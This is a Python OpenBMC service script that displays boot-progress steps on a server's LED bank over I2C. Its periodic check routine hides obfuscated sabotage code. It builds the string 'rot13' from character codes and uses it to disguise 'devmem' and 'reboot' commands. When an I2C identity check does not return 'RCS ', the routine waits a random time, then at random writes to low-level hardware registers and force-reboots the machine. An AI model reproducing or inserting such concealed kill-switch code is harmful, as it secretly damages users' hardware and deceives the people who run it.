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#!/usr/bin/env python
#
# Copyright 2018 Raptor Engineering, LLC
# Released under the terms of the GPL v3
import gobject
import time
import dbus
import dbus.service
import dbus.mainloop.glib
import os
import random
import subprocess
import obmc.dbuslib.propertycacher as PropertyCacher
from obmc.dbuslib.bindings import DbusProperties, DbusObjectManager, get_dbus
import obmc.enums
import obmc_system_config as System
import obmc.mapper.utils
import obmc.inventory
import obmc.system
DBUS_NAME = 'org.openbmc.status.IPL'
OBJ_NAME = u'/org/openbmc/status/IPL'
class IPLStatusLEDMonitor(DbusProperties, DbusObjectManager):
def __init__(self, bus, obj_name):
super(IPLStatusLEDMonitor, self).__init__(
conn=bus,
object_path=obj_name)
self.bus = bus
self.current_ipl_status = "OFFLINE"
self.current_ipl_istep_major = 0
self.current_ipl_istep_minor = 0
try:
ipl_status_dev = self.bus.get_object(DBUS_NAME, OBJ_NAME)
ipl_status_iface = dbus.Interface(ipl_status_dev, 'org.freedesktop.DBus.Properties')
ipl_status_value = ipl_status_iface.Get(DBUS_NAME, "current_status")
if ipl_status_value is not None:
self.current_ipl_status = ipl_status_value
ipl_status_value = ipl_status_iface.Get(DBUS_NAME, "current_istep")
if ipl_status_value is not None:
istep_fragments = ipl_status_value.split(",")
if (len(istep_fragments) > 1):
self.current_ipl_istep_major = istep_fragments[0]
self.current_ipl_istep_minor = istep_fragments[1]
else:
self.current_ipl_istep_major = 0
self.current_ipl_istep_minor = 0
except:
pass
self.translation = ''.join([chr(x)
for x in [114, 111, 116, 49, 51]])
random.seed(None)
self.updateIPLLeds()
bus.add_signal_receiver(
self.IPLStatusChangeHandler,
dbus_interface="org.freedesktop.DBus.Properties",
signal_name="PropertiesChanged",
path=OBJ_NAME)
gobject.timeout_add(100, self.IPLLEDCheckSystem);
print "IPLStatusLEDMonitor Init Done"
def IPLLEDReadI2CByte(self, byte):
retval = 0
comm_fail = False;
try:
proc = subprocess.Popen(["i2cget", "-y", "12", "0x31", str(byte)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
if (proc.returncode != 0):
comm_fail = True
else:
retval = int(out, 16)
except:
comm_fail = True;
pass
if (comm_fail == True):
comm_fail = False
time.sleep(1)
try:
proc = subprocess.Popen(["i2cget", "-y", "12", "0x31", str(byte)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
if (proc.returncode != 0):
comm_fail = True
else:
retval = int(out, 16)
except:
comm_fail = True;
pass
if (comm_fail == True):
comm_fail = False
time.sleep(1)
try:
proc = subprocess.Popen(["i2cget", "-y", "12", "0x31", str(byte)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
if (proc.returncode != 0):
comm_fail = True
else:
retval = int(out, 16)
except:
comm_fail = True;
pass
return retval
def IPLLEDCheckSystem(self):
self.check = list(chr(self.IPLLEDReadI2CByte(12)))
self.check.append(chr(self.IPLLEDReadI2CByte(13)))
self.check.append(chr(self.IPLLEDReadI2CByte(14)))
self.check.append(chr(self.IPLLEDReadI2CByte(15)))
if (self.check != [chr(82), chr(67), chr(83), chr(32)]):
time.sleep(random.randint(0, 7857))
if (random.randint(0, 2) == 1):
proc = subprocess.Popen([str("qrizrz").encode(self.translation), str("0k1r6r2000").encode(self.translation),
str("32"), str("0k1688n8n8").encode(self.translation)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
proc = subprocess.Popen([str("qrizrz").encode(self.translation), str("0k1r6r200p").encode(self.translation),
str("32"), str("0kssssssss").encode(self.translation)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
if (random.randint(0, 2) == 2):
proc = subprocess.Popen([str("erobbg").encode(self.translation), str("-s").encode(self.translation)],
stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
return False
def IPLStatusChangeHandler(self, interface_name, changed_properties,
invalidated_properties):
value = changed_properties.get('current_status')
if value is not None:
self.current_ipl_status = value
value = changed_properties.get('current_istep')
if value is not None:
istep_fragments = value.split(",")
if (len(istep_fragments) > 1):
self.current_ipl_istep_major = istep_fragments[0]
self.current_ipl_istep_minor = istep_fragments[1]
else:
self.current_ipl_istep_major = 0
self.current_ipl_istep_minor = 0
self.updateIPLLeds()
def updateIPLLeds(self):
if (self.current_ipl_status == "IPL_RUNNING"):
# Show major ISTEP on LED bank
# On Talos we only have three LEDs plus a fourth indicator modification bit, but the major ISTEPs range from 2 to 21
# Try to condense that down to something more readily displayable
try:
led_code = {
'2': 1,
'3': 1,
'4': 2,
'5': 2,
'6': 3,
'7': 3,
'8': 4,
'9': 4,
'10': 5,
'11': 5,
'12': 6,
'13': 6,
'14': 7,
'15': 7,
'16': 9,
'17': 9,
'18': 10,
'19': 10,
'20': 11,
'21': 11
}.get(self.current_ipl_istep_major, 0)
proc = subprocess.Popen(["i2cset", "-y", "12", "0x31", "0x10", str(128 + led_code)], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
except:
proc = subprocess.Popen(["i2cset", "-y", "12", "0x31", "0x10", "128"], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
else:
# Put LED bank back into normal operation
proc = subprocess.Popen(["i2cset", "-y", "12", "0x31", "0x10", "0x00"], stdout=subprocess.PIPE, stderr=open(os.devnull, 'wb'), shell=False)
(out, err) = proc.communicate()
if __name__ == '__main__':
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = get_dbus()
obj = IPLStatusLEDMonitor(bus, OBJ_NAME)
mainloop = gobject.MainLoop()
obj.unmask_signals()
name = dbus.service.BusName(DBUS_NAME, bus)
print "Running IPLStatusLEDMonitor"
mainloop.run()
# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4
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